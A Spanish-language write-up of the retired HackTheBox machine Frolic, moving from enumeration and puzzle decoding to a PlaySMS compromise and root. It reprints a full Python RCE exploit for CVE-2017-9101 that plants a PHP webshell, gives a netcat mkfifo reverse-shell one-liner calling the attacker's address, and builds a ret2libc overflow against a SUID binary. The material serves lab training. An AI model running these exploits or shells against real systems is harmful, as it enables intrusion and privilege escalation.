HTB{ Frolic }

Hola !
Esta semana, se retiró Frolic de HTB, una máquina de dificultad media, la cual tiene una fase inicial calcada a los CTF que uno podría encontrar en internet, combinando diferentes skills básicas pero que nos podrian llegar a sacar canas. Sin duda el desafío mas grande de esta máquina, es lidiar con la escalación de privilegios, la cual requiere invertir tiempo de estudio en una temática que no todos manejan.


Activeicon

  1. Recon
  2. User.txt
  3. Root.txt

Recon

Veamos que nos arroja nmap al escanear la máquina:  
┌─[h4tt0r1@pandora]─[~/Documentos/hackthebox/Machines/frolic]
└──╼ $nmap -sS -sV -T4 -A 10.10.10.111 -o frolic.nmap
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-10 16:16 -03
Nmap scan report for 10.10.10.111
Host is up (0.26s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
|   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
9999/tcp open  http        nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=11/10%OT=22%CT=1%CU=40490%PV=Y%DS=2%DC=T%G=Y%TM=5BE72F
OS:DB%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS=8)SE
OS:Q(SP=105%GCD=1%ISR=108%TI=Z%CI=I%TS=8)OPS(O1=M54DST11NW7%O2=M54DST11NW7%
OS:O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2
OS:=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNS
OS:NW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%
OS:DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%
OS:O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%
OS:W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%
OS:RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -1h49m58s, deviation: 3h10m30s, median: 0s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: frolic
|   NetBIOS computer name: FROLIC\x00
|   Domain name: \x00
|   FQDN: frolic
|_  System time: 2018-11-11T00:51:57+05:30
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2018-11-10 16:21:57
|_  start_date: N/A</unknown></unknown>

TRACEROUTE (using port 554/tcp)
HOP RTT       ADDRESS
1   343.51 ms 10.10.12.1
2   343.59 ms 10.10.10.111

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 342.59 seconds

Vemos que tiene el puerto 9999 con el servicio HTTP, por lo que mientras revisamos la página, procedemos a lanzar gobuster para buscar directorios en el:
 
┌─[h4tt0r1@pandora]─[~/Documentos/hackthebox/Machines/frolic]
└──╼ $gobuster -e -u http://10.10.10.111:9999/ -f -w /usr/share/wordlists/dirb/common.txt -x php,html

=====================================================
Gobuster v2.0.0              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.111:9999/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions   : aspx,php,html,asp
[+] Expanded     : true
[+] Timeout      : 10s
=====================================================
2019/03/22 23:24:57 Starting gobuster
=====================================================
http://10.10.10.111:9999/.hta (Status: 403)
http://10.10.10.111:9999/.hta.html (Status: 403)
http://10.10.10.111:9999/.hta.asp (Status: 403)
http://10.10.10.111:9999/.hta.aspx (Status: 403)
http://10.10.10.111:9999/.htaccess (Status: 403)
http://10.10.10.111:9999/.htaccess.html (Status: 403)
http://10.10.10.111:9999/.htaccess.asp (Status: 403)
http://10.10.10.111:9999/.htaccess.aspx (Status: 403)
http://10.10.10.111:9999/.htpasswd (Status: 403)
http://10.10.10.111:9999/.htpasswd.aspx (Status: 403)
http://10.10.10.111:9999/.htpasswd.html (Status: 403)
http://10.10.10.111:9999/.htpasswd.asp (Status: 403)
http://10.10.10.111:9999/admin (Status: 301)
http://10.10.10.111:9999/backup (Status: 301)
http://10.10.10.111:9999/cgi-bin/.html (Status: 403)
http://10.10.10.111:9999/dev (Status: 301)
http://10.10.10.111:9999/dev/backup (Status: 301)
http://10.10.10.111:9999/test (Status: 301)
=====================================================
2019/03/22 23:33:27 Finished
=====================================================

La página inicial tiene un nginx corriendo y luce algo así:

indexphp
Cuando realizaba esta máquina, estuve un buen tiempo atascado en un par de directorios que no llevaban a nada útil, por lo que la fase de enumeración de directorios es una parte clave para tener éxito en esta máquina. Haciendo un poco más de incapié en esta enumeración entonces, encontramos algunos subdirectorios interesantes que detallaremos en la siguiente sección.

User.txt

Comenzamos revisando el directorio de admin ubicado en: http://10.10.10.111:9999/admin/

admin_frolic
Dicho loguin, requiere un par de credenciales, las cuales no son fácilmente adivinadas con las típicas contraseñas. Ademas de eso la página a primera vista parece tener un sistema de baneo:

admin_frolic_ban
Como es de costumbre de parte mia, antes de revisar otros lados, es preferible cerciorarse de que el código de la misma página no nos oculte algo que pueda ayudarnos. Al revisarlo, encontramos que el formulario es validado en la función validate() ubicada en /js/login.js


<html>
<head>
<title>Crack me :|</title>
<!-- Include CSS File Here -->
<link rel="stylesheet" href="css/style.css"/>
<!-- Include JS File Here -->
<script src="js/login.js"></script>
</head>
<body>
<div class="container">
<div class="main">
<h2>c'mon i m hackable</h2>
<form id="form_id" method="post" name="myform">
<label>User Name :</label>
<input type="text" name="username" id="username"/>
<label>Password :</label>
<input type="password" name="password" id="password"/>
<input type="button" value="Login" id="submit" onclick="validate()"/>
</form>
<span><b class="note">Note : Nothing</b></span>
</div>
</div>
</body>
</html>

Del código javascript, se extrae entonces lo siguiente:

var attempt = 3; // Variable to count number of attempts.
// Below function Executes on click of login button.
function validate(){
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
if ( username == "admin" &amp;amp;amp;amp;amp;amp;&amp;amp;amp;amp;amp;amp; password == "superduperlooperpassword_lol"){
alert ("Login successfully");
window.location = "success.html"; // Redirecting to other page.
return false;
}
else{
attempt --;// Decrementing by one.
alert("You have left "+attempt+" attempt;");
// Disabling fields after 3 attempts.
if( attempt == 0){
document.getElementById("username").disabled = true;
document.getElementById("password").disabled = true;
document.getElementById("submit").disabled = true;
return false;
}
}
}

Obteniendo el usuario: admin y password: superduperlooperpassword_lol pero si nos fijamos, esto realmente es inútil, ya que podemos saltar directamente al success.html sin tener que validar las credenciales.

admin_frolic_crypt
La página contiene un texto ilegible, por lo que suponemos de inmediato que está cifrado. De aquí, nuestro mejor amigo google, nos informa que el texto esta cifrado en Ook! languaje, un típico lenguage esotérico.
Buscamos entonces un decoder online y encontramos el de la página: https://www.dcode.fr/ook-language

Ook
El resultado del cifrado es: Nothing here check /asdiSIAJJ0QWE9JAS , el cual como se imaginan, es un directorio. Lo utilizamos entonces en la URL y encontramos lo siguiente:

directorio_hidden
El contenido de este directorio, era un texto cifrado en base 64, algo peculiar debido a que contenía ciertos caracteres que no permanecían a la codificación típica de base64, por ende, al intentar decifrarlo, algunos errores aparecian en la terminal. Lo mas obvio para mí entonces, fue eliminar dichos caracteres (“\” y espacios) para poder decifrarlo sin problema. Ahora, el tema de esto, es que los caracteres que arrojaban, no parecian algo que pudiera ser leído fácilmente, por lo que los arrojé a un archivo para ver si correspondían a algún formato específico.

decode_base
El contenido del archivo, correspondía a la de un formato de compresión ZIP, por lo que pasamos a renombrarlo e intentar extraer su contenido. Es aquí, donde nos damos cuenta que dicho zip pide una contraseña para su extracción, asi que procedemos a intentar crackearlo.

crack_zip
contraseña: password —-> facepalm   El zip es descomprimido y este en su interior trae un archivo index.php, el cual contenía lo siguiente:

┌─[h4tt0r1@pandora]─[~/Documentos/hackthebox/Machines/frolic]
└──╼ $cat index.php
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a

Un conjunto de caracteres hexadecimales, que al ser decifrados, arrojan un texto codificado en base64:

┌─[h4tt0r1@pandora]─[~/Documentos/hackthebox/Machines/frolic]
└──╼ $cat index.php | xxd -r -p
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==

Como pueden ver, dicho base64 contiene breaklines (“\r”), por lo que si lo deciframos usando solo un pipe, este nos arrojara un error. Para este caso, realicé un pequeño script que ayudará a solventar dicho problema:

brainfuck
Inmediatamente reconocí que era un texto codificado en Brainfuck, debido a una máquina antigua que había realizado hace un tiempo en Hackthebox, por lo que, usando un decoder online, obtenemos:

idkwhatispass

Ya en este punto, hemos terminado de explorar la primera rama de directorios que nos fijamos al principio. Revisando los demás directorios encontramos lo siguiente:

admin/
...index.php
...success.html
...js/
...login.html
backup/
...index.php
...loop/
.......loop/
..........loop/
...............
....password.txt  #password - imnothuman
....user.txt #user - admin
dev/
...backup/
...index.php  #/playsms
....test #test
loop/
...loop/
......loop/
.........loop/
...............

De aquí, nos vamos directo a la carpeta /playsms y utilizamos las credenciales admin:idkwhatispass para entrar:

playsms
Playsms, es un software de gestión SMS’s de código abierto y gratuito, el cual tiene su propia plataforma para la administración de mensajería personal, herramientas de comunicación coorporativa, etc. Definitivamente si llegamos hasta aquí es porque debemos explotar alguna vulnerabilidad y ejecutar algun RCE. Buscando en internet, me encuentro con que existe un RCE para la versión 1.4 de playsms (que coincidencia), y con la cual podemos ejecutar comandos de forma remota. Específicamente, el CVE-2017-9101 es el que debemos explotar y con suerte este tiene su propia POC.

#!/usr/bin/env python3
#
# Exploit for CVE-2017-9101 targeting PlaySMS 1.4
# As an authenticated user it's possible to perform remote code execution in
# the context of the user that's running the webserver.
# https://www.exploit-db.com/exploits/42044/

import argparse
import random
import requests
import sys

from bs4 import BeautifulSoup

def pr_ok(msg):
    print('[+] {}'.format(msg))

def pr_err(msg, exit=True, rc=1):
    print('[-] {}'.format(msg))
    if exit:
        sys.exit(rc)

def pr_info(msg):
    print('[*] {}'.format(msg))

def csrf_token(html, quiet=True):
    # Grab the CSRF token
    soup = BeautifulSoup(html, 'html.parser')
    try:
        token = soup.find(attrs={'name': 'X-CSRF-Token'})['value']
    except:
        pr_err('Could not determine CSRF token')

    if not quiet:
        pr_ok('Got token: {}'.format(token))
    return token

def exec(session, token, import_url, command, quiet):
    warhead = "<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>"
    payload = 'Name,Email,Department\n'
    payload += '{},{},{}'.format(warhead, random.randint(0, 42), random.randint(0, 42))

    # Here comes the fun part of actually embedding our command into the User-Agent header
    headers = {
        'user-agent': command,
        'Upgrade-Insecure-Requests': '1',
    }

    files = {
        'X-CSRF-Token': (None, token),
        'fnpb': ('p.csv', payload, 'text/csv')
    }

    try:
        if not quiet:
            pr_info('Attempting to execute payload')
        r = session.post(import_url + '&op=import', headers = headers, files = files)
    except Exception as e:
        pr_err(e)

    if r.status_code != 200:
        pr_err('Failed to execute payload (can be safely ignored for long running commands...)')

    # Locate the table previewing the upload
    try:
        soup = BeautifulSoup(r.text, 'html.parser')
        table = soup.find('table', class_='playsms-table-list')

        # Now look for the cell with our shell output
        output = table.find('td').next_sibling.next_sibling.contents
        for line in output:
            print(line)

        # Pass the CSRF token to the caller for a future POST
        return csrf_token(r.text)
    except Exception as e:
        pr_err('Failed to run "{}": {}'.format(command, e), False)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('--username', default='admin', type=str)
    parser.add_argument('--password', default='admin', type=str)
    parser.add_argument('--url', required=True, type=str)
    parser.add_argument('--interactive', '-i', default=False, action='store_true')
    parser.add_argument('--command', '-c', type=str)
    args = parser.parse_args()

    if (args.command and args.interactive) or (not (args.interactive or args.command)):
        pr_err('Either --command or --interactive required.')

    login_url = args.url + '/index.php?app=main&inc=core_auth&route=login'

    session = requests.Session()

    try:
        pr_info('Grabbing CSRF token for login')
        r = session.get(login_url)
    except Exception as e:
        pr_err(e)

    if r.status_code != 200:
        pr_err('Couln\'t retrieve login page.')

    token = csrf_token(r.text)

    try:
        pr_info('Attempting to login as {}'.format(args.username))
        data = {
            'username': args.username,
            'password': args.password,
            'X-CSRF-Token': token,
        }
        headers = {
            'Upgrade-Insecure-Requests': '1',
            'Referer': login_url,
        }

        r = session.post(login_url + '&op=login', data = data, headers = headers)
    except Exception as e:
        pr_err(e)

    pr_ok('Logged in!')

    import_url = args.url + '/index.php?app=main&inc=feature_phonebook&route=import'
    try:
        pr_info('Grabbing CSRF token for phonebook import')
        r = session.get(import_url + '&op=list')
    except Exception as e:
        pr_err(e)

    token = csrf_token(r.text)

    if args.command:
        exec(session, token, import_url, args.command, False)
    elif args.interactive:
        pr_ok('Entering interactive shell; type "quit" or ^D to quit')

        while True:
            try:
                command = input('> ')
            except EOFError:
                sys.exit(0)

            if command in ['quit', 'q']:
                sys.exit(0)

            token = exec(session, token, import_url, command, True)


if __name__ == '__main__':
    main()

Ejecutándola con los parámetros correspondientes, obtenemos la shell reversa de la máquina:


Como nuestra shell es bastante restringida en este punto, debemos de alguna forma escapar de esta, para poder ejecutar más comandos. Para nuestra suerte, tanto netcat como python estan instalados en el sistema, por lo que podemos darnos el lujo de abrir una nueva conexión hacia nuestra máquina. Para ello, utilizamos:


rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.15 9999 >/tmp/f

y seteando un listener de nuestro lado:

nc -lvnp 9999

Con esto obtenemos un shell reversa sin restricciones:


Finalmente ya podemos leer el user.txt ubicado en /home/ayush/user.txt


Root.txt

En la carpeta del usuario ayush, se encuentra un directorio oculto llamado .binary/ el cual posee un binario con el nombre ROP. Dicho binario, tiene seteado por defectado el bit “s”, correspondiente al SUID del archivo, lo que nos permite ejecutar dicho binario con permisos elevados.


Al ejecutarlo, nos muestra algo como lo siguiente:

www-data@frolic:/home/ayush/.binary$ ./rop 
[*] Usage: program <message>
www-data@frolic:/home/ayush/.binary$ ./rop "hello world"
[+] Message sent: hello worldwww-data@frolic:/home/ayush/.binary$ 

Pensando en que debeos aplicar técnicas de explotación, procedemos a darle mas caracteres:

www-data@frolic:/home/ayush/.binary$ ./rop aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa           
Segmentation fault (core dumped)
www-data@frolic:/home/ayush/.binary$  

Nos arroja un Segmentation Fault (core dumped) lo que significa que de alguna forma, hemos llenado el buffer de la variable tipo Char que se encuentra en el código. Esto nos da una idea de que el binario, pdoria ser explotable de alguna forma, lo que podemos aprvechar para ejecutar código arbitrario dentro de la máquina y que mejor que con permisos de Root al tener el bit “s” seteado.


Para un mejor análisis de esto, pasamos dicho binario a nuestra máquina para un análisis mas profundo:



Para ello, imprimimos su contenido en base64, lo copiamos y decodeamos en nuestra máquina, con salida a un nuevo archivo.

┌─[h4tt0r1@pandora]─[~/Documentos/hackthebox/Machines/frolic]
└──╼ $ echo $base64_rop | base64 -d > rop

Con esto, ya tenemos el binario en nustra máquina para comenzar el análisis y la futura explotación.

Primero que todo, revisamos que tipo de protecciones tiene nuestro binario, debido a que la dificultad de explotacion de este, va a depender de como se comporta dentro del sistema operativo. Para ello utilizamos checksec una pequeña herramienta que nos ayuda a determinar aquellas protecciones impuestas en el binario:

┌─[h4tt0r1@pandora]─[~/Documentos/hackthebox/Machines/frolic]
└──╼ $checksec -f rop
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   73 Symbols  No  0       4   rop

Excelente!, tiene las protecciones desactivadas. Ademas de esto, debemos ver si existe ASLR dentro de la máquina, la cual es un mecanismo que permite randomizar las direcciones de memoria donde se alojan las instrucciones del binario. En caso de que esta estuviera activada, costaria mas saber en que direccion de memoria se alojan las variables que debemos explotar y tendriamos que utilizar fuerza bruta.


Afortunadamente, el ASLR esta desactivado. Otro detalle importante, es que la máquina es de arquitectura 32 bits, por lo que debemos tener cuidado al realizar las operaciones en nuestra máquina si esta fuese de arquitectura 64 bits. Finalmente y para entender de mejor forma el funcionamiento del programa, sacamos algunas características de él mediante el uso del comando file y strings

┌─[h4tt0r1@pandora]─[~/Documentos/hackthebox/Machines/frolic]
└──╼ $file rop
rop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=59da91c100d138c662b77627b65efbbc9f797394, not stripped
┌─[h4tt0r1@pandora]─[~/Documentos/hackthebox/Machines/frolic]
└──╼ $strings rop
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
setuid
strcpy
puts
printf
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
UWVS
t$,U
[^_]
[*] Usage: program <message>
[+] Message sent: 
;*2$"0
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.10) 5.4.0 20160609
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.7209
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
rop.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
__x86.get_pc_thunk.bx
printf@@GLIBC_2.0
vuln
_edata
strcpy@@GLIBC_2.0
__data_start
puts@@GLIBC_2.0
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_start_main@@GLIBC_2.0
__libc_csu_init
_fp_hw
__bss_start
main
setuid@@GLIBC_2.0
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment

Comenzamos el análisis seteando en 0 el valor del archivo /proc/sys/kernel/randomize_va_space el cual, es el encargado de activar o desactivar el ASLR de nuestra máquina:

┌─[✗]─[h4tt0r1@pandora]─[~/Documentos/hackthebox/Machines/frolic]
└──╼ $sudo su
[sudo] password for h4tt0r1: 
┌─[root@pandora]─[/home/h4tt0r1/Documentos/hackthebox/Machines/frolic]
└──╼ echo 0 > /proc/sys/kernel/randomize_va_space 

Para corroborar que esto ha funcionado correctamente, podemos usar el comando ldd <binario> :

┌─[root@pandora]─[/home/h4tt0r1/Documentos/hackthebox/Machines/frolic]
└──╼ $ ldd rop
  linux-gate.so.1 (0xf7fd2000)
  libc.so.6 => /lib32/libc.so.6 (0xf7dbf000)
  /lib/ld-linux.so.2 (0xf7fd4000)
┌─[root@pandora]─[/home/h4tt0r1/Documentos/hackthebox/Machines/frolic]
└──╼ $ ldd rop
  linux-gate.so.1 (0xf7fd2000)
  libc.so.6 => /lib32/libc.so.6 (0xf7dbf000)
  /lib/ld-linux.so.2 (0xf7fd4000)

Ahora, corremos GDB para determinar la dirección de retorno del Extended Instruction Pointer (EIP):

┌─[✗]─[h4tt0r1@pandora]─[~/Documentos/hackthebox/Machines/frolic]
└──╼ $gdb ./rop
GNU gdb (Debian 8.2-1) 8.2
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./rop...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) run $(python -c "print 'A'*30 + 'B'*30 ")
Starting program: /home/h4tt0r1/Documentos/hackthebox/Machines/frolic/rop $(python -c "print 'A'*30 + 'B'*30 ")

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) run $(python -c "print 'A'*30 + 'B'*20 ")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/h4tt0r1/Documentos/hackthebox/Machines/frolic/rop $(python -c "print 'A'*30 + 'B'*20 ")

Program received signal SIGSEGV, Segmentation fault.
0x080484f1 in main ()
(gdb) run $(python -c "print 'A'*30 + 'B'*25 ")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/h4tt0r1/Documentos/hackthebox/Machines/frolic/rop $(python -c "print 'A'*30 + 'B'*25 ")

Program received signal SIGSEGV, Segmentation fault.
0x00424242 in ?? ()
(gdb) run $(python -c "print 'A'*30 + 'B'*26 ")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/h4tt0r1/Documentos/hackthebox/Machines/frolic/rop $(python -c "print 'A'*30 + 'B'*26 ")

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

Bingo! Hemos comprobado que necesitamos al menos 52 bytes de caracteres antes de sobreescribir el EIP.

Ahora volvemos a la máquina de frolic y obtenemos las direcciones de memoria para crear nuestro exploit. Primero, necesitamos saber la dirección exacta donde se encuentra /bin/sh, para ello ejecutamos el siguiente comando:

www-data@frolic:/home/ayush/.binary$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh      
 15ba0b /bin/sh

La dirección obtenida entonces, corresponde a: 0x0015ba0b , la cual será utilizada para la ejecución de nuestra shell con altos privilegios (ojo, que debemos utilizar especificamente la de libc.so.6). Para ello, necesitamos la dirección de las librerías comapartidas:

www-data@frolic:/home/ayush/.binary$ ldd rop
  linux-gate.so.1 =>  (0xb7fda000)
  libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
  /lib/ld-linux.so.2 (0xb7fdb000)

La cual nos dá la dirección: 0xb7e19000 

Por ende, la ejecución de nuestro /bin/sh vendrá dado por:

/bin/sh : 0x0015ba0b + 0xb7e19000 = 0xb7f74a0b

System, necesita dos argumentos “internamente”, primero la direccion de retorno, cuando termina de ejecutarse el comando, y segundo el comando.

Finalmente, necesitamos la dirección de la funcion system() que ejecuta nuestro comando y la dirección de exit() para finalizar sin errores nuestro programa.

www-data@frolic:/dev/shm$ readelf -s /lib/i386-linux-gnu/libc.so.6 |grep system
   245: 00112f20    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
   627: 0003ada0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

www-data@frolic:/dev/shm$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit                         
   112: 0002edc0    39 FUNC    GLOBAL DEFAULT   13 __cxa_at_quick_exit@@GLIBC_2.10
   141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
   450: 0002edf0   197 FUNC    GLOBAL DEFAULT   13 __cxa_thread_atexit_impl@@GLIBC_2.18
   558: 000b07c8    24 FUNC    GLOBAL DEFAULT   13 _exit@@GLIBC_2.0
   616: 00115fa0    56 FUNC    GLOBAL DEFAULT   13 svc_exit@@GLIBC_2.0
   652: 0002eda0    31 FUNC    GLOBAL DEFAULT   13 quick_exit@@GLIBC_2.10
   876: 0002ebf0    85 FUNC    GLOBAL DEFAULT   13 __cxa_atexit@@GLIBC_2.1.3
  1046: 0011fb80    52 FUNC    GLOBAL DEFAULT   13 atexit@GLIBC_2.0
  1394: 001b2204     4 OBJECT  GLOBAL DEFAULT   33 argp_err_exit_status@@GLIBC_2.1
  1506: 000f3870    58 FUNC    GLOBAL DEFAULT   13 pthread_exit@@GLIBC_2.0
  2108: 001b2154     4 OBJECT  GLOBAL DEFAULT   33 obstack_exit_failure@@GLIBC_2.0
  2263: 0002e9f0    78 FUNC    WEAK   DEFAULT   13 on_exit@@GLIBC_2.0
  2406: 000f4c80     2 FUNC    GLOBAL DEFAULT   13 __cyg_profile_func_exit@@GLIBC_2.2

System address : 0x0003ada0
exit address       : 0x0002e9d0

Con esto, ya podemos codear un exploit que nos ayude a la escalación de privilegios:

import struct

base_libc = 0xb7e19000

buff = "A"*52
system = struct.pack("<I",base_libc+0x0003ada0)
ret = struct.pack("<I",base_libc+0x0002e9d0)
shell = struct.pack("<I",base_libc+0x0015ba0b)

print buff + system + ret + shell



Y ahora que tenemos nuestro exploit, es hora de subirlo a la máquina y probarlo:



Con esto, ya podemos leer nuestro root.txt, por ende, hemos terminado 🙂
Eso es todo por ahora, definitivamente una máquina que valia la pena estudiar debido a la forma con la que se podia escalar privilegios.
Gracias por leer hasta aquí y se despide como siempre

H4tt0r1

Agregar un comentario

Su dirección de correo no se hará público. Los campos requeridos están marcados *